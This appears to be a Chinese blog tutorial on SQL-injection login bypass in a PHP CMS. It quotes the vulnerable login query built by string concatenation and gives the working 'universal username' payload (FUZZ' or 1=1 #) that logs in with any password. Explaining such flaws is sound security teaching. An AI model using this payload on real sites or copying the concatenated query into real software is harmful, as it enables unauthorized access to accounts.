当前位置: 首页 > news >正文

SQL注入之万能用户名

文章目录

  • 分析代码
  • 原理
  • 实现

分析代码

在安装的cms数据库目录C:\phpStudy\WWW\cms\admin下找到login.action.php文件,查看第20行,发现如下php代码:

$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
if (!empty($user_row )) {setcookie (userid, $user_row ['userid'] ); header("Location: index.php");
}else{exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");

这段代码先用select语句做了数据库的查询操作,查询用户输入的用户名和密码(密码做md5加密),然后将查询的结果给if语句做判断,如果根据用户名密码不为空且能查到userid,就登录成功;否则,输出**“用户名或密码不正确”**。

如果我们能使用一个万能用户名,使if语句的判断永远为真,那么用任意密码就能成功登录数据库。

原理

将找到的这段select语句

"select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'"

去除php格式改写为

select userid from cms_users where username = 'admin' or '1'='1' and password='*****'

或直接用#注释掉后面的语句

select userid from cms_users where username = 'FUZZ' or '1'='1' # and password='*****'

这段语句中有逻辑与和逻辑或,以第一种方法为例(第二种方法密码段被注释),在逻辑运算中,一般先做与运算,再做或运算:

'1'='1' and password='*****' =false
'admin' or false = true

也就是说,这段代码如果由数据库中if语句判断,它的结果永远为true,这样就能实现用万能用户名登录数据库的目的。

实现

输入万能用户名和任意密码:

FUZZ' or 1=1 #
****

FUZZ后面的分号是为了让该用户名在username = '$username’语句中与前一个分号共同组成完整的字符,不能省略。

输入如下:

在这里插入图片描述

登录成功:

在这里插入图片描述

http://www.lryc.cn/news/137593.html

相关文章:

  • ubuntu20搭建环境使用的一下指令
  • GAN(生成对抗网络)
  • 实时同步ES技术选型:Mysql+Canal+Adapter+ES+Kibana
  • 禅道后台命令执行漏洞
  • 基于Spark+django的国漫推荐系统--计算机毕业设计项目
  • 向量数据库 Milvus:实现高效向量搜索的技术解析
  • 恒运资本:信创概念再度活跃,华是科技再创新高,南天信息等涨停
  • Synchronized锁升级
  • 记一个宏定义写法
  • 【数据结构】C语言实现栈(详细解读)
  • 3、Spring_容器执行
  • 五、pikachu之RCE
  • 最大不相交区间数量
  • Oracle给表空间添加容量
  • 2023年大数据与区块链国际会议 | EI、Scoups检索
  • 【洛谷算法题】P1000-超级玛丽游戏【入门1顺序结构】
  • ubuntu or kylinos软件安装错误的终极解决方案
  • 30分钟Python自动化从入门到实战(一)
  • FOC之SVPWM学习笔记
  • DSO 系列文章(3)——DSO后端正规方程构造与Schur消元
  • php 使用ES
  • 距离我成为炎帝的一次(比较近的一次)
  • Protobuf在IDEA中的插件安装教程
  • 中间件(上)
  • Python快速检验数据分布
  • uniapp微信小程序点击右上角菜单分享功能权限配置
  • 【OpenVINOSharp】在英特尔® 开发者套件爱克斯开发板使用OpenVinoSharp部署Yolov8模型
  • Django的模型层
  • idea 新建servlet 访问提示404 WebServlet注解找不到包 报错
  • 【EA-ISET协会】Elsevier|2区智慧农业类SCIEI, 进展顺,3个月左右录用~